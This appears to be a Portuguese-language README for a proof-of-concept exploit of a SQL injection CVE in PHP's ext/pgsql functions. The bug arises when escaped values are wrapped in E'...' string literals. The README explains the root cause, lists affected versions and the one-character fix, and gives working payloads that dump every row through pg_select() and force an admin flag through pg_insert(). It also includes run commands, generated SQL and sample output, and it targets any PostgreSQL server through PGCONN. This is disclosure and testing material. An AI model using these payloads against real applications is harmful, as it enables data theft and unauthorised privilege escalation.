
Exploit de PoC para CVE-2026-17543: injeção de SQL no PHP ext/pgsql via escape de barra invertida, com exfiltração de dados e payloads de escalonamento de privilégios de administrador para PostgreSQL.
ext/pgsql via E'...' com quebra por barra invertidaProva de conceito para CVE-2026-17543 (CVSS 9.8 Crítico, CWE-89), uma vulnerabilidade de injeção de SQL na extensão procedural PostgreSQL do PHP.
pg_insert(), pg_select(), pg_update(), pg_delete() e pg_convert() passam todos os valores de string por php_pgsql_convert(), que:
PQescapeStringConn() da libpq — que, sob standard_conforming_strings = on (o padrão do PostgreSQL desde a versão 9.1), duplica ' em '' e deixa \ intacto (correto para um literal '...' comum).php_pgsql_add_quotes() em uma constante de string de escape E'...' em vez de um '...' simples.Dentro de E'...', a barra invertida é um caractere de escape, então uma \ colocada antes de uma aspa anula a duplicação de aspas: \' vira uma aspa literal ', e a segunda aspa — colocada ali pela rotina de escape para ser um literal duplicado — agora encerra a string antes do tempo. Tudo o que vem depois é SQL bruto e injetado.
A correção oficial (commit ab048bd83b57) é um caractere: emitir '...' em vez de E'...'.
Não afetados: pg_query_params() (ligação real de parâmetros) e statements preparados do PDO_PGSQL / PDO::quote() — estes usam caminhos de código distintos que nunca chamam php_pgsql_add_quotes().
zzz\' OR 1=1 --
(uma barra invertida imediatamente antes da aspa simples)
... WHERE "name"=E'zzz\'' OR 1=1 --' → OR 1=1 é interpretado como SQL → retorna todas as linhas.... WHERE "name"='zzz\'' OR 1=1 --' → a barra invertida é um caractere comum, então OR 1=1 -- é engolido dentro do literal de string → não corresponde a nada.Um segundo payload (eve\', true) --) demonstra escalada de privilégio por meio de pg_insert(), forçando a coluna admin para true.
docker compose up --build --abort-on-container-exit
PHP version: 8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------
[1] pg_select() data exfiltration
payload (runtime): zzz\' OR 1=1 --
generated SQL:
SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
rows returned: 2
[!] INJECTION - leaked every row in the table
[2] pg_insert() privilege escalation
name payload (runtime): eve\', true) --
generated SQL:
INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
inserted row admin flag: 't'
[!] INJECTION - admin column forced to TRUE
Done.
Em um build corrigido, o SQL gerado contém '...' (sem E), [1] relata rows returned: 0 / no injection, e [2] relata admin flag: 'f'.
Aponte PGCONN para qualquer PostgreSQL e execute com um PHP vulnerável:
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php
ext/pgsql (--with-pgsql / a extensão pgsql).standard_conforming_strings = on).docker compose down -v
A imagem PHP usada aqui é, por definição, não corrigida contra o CVE-2026-17543. Execute-a apenas em um contêiner isolado e descartável, e rode docker compose down -v ao terminar. Nunca aponte este PoC para um banco de dados que seja importante para você.
| Versão | Vulnerável | Corrigida |
|---|
| PHP 8.2 | < 8.2.33 | 8.2.33 |
| PHP 8.3 | < 8.3.33 | 8.3.33 |
| PHP 8.4 | < 8.4.24 | 8.4.24 |
| PHP 8.5 | < 8.5.9 | 8.5.9 |
| Arquivo | Descrição |
|---|
poc.php | Demonstra as variantes de exfiltração de dados do pg_select e de escalada de privilégio do pg_insert; imprime o SQL gerado para que o token E'...' fique visível |
Dockerfile | Fixa uma imagem PHP CLI vulnerável (php:8.4.23-cli) com ext/pgsql |
docker-compose.yml | Sobe o PostgreSQL 16 + o contêiner PHP vulnerável e executa poc.php |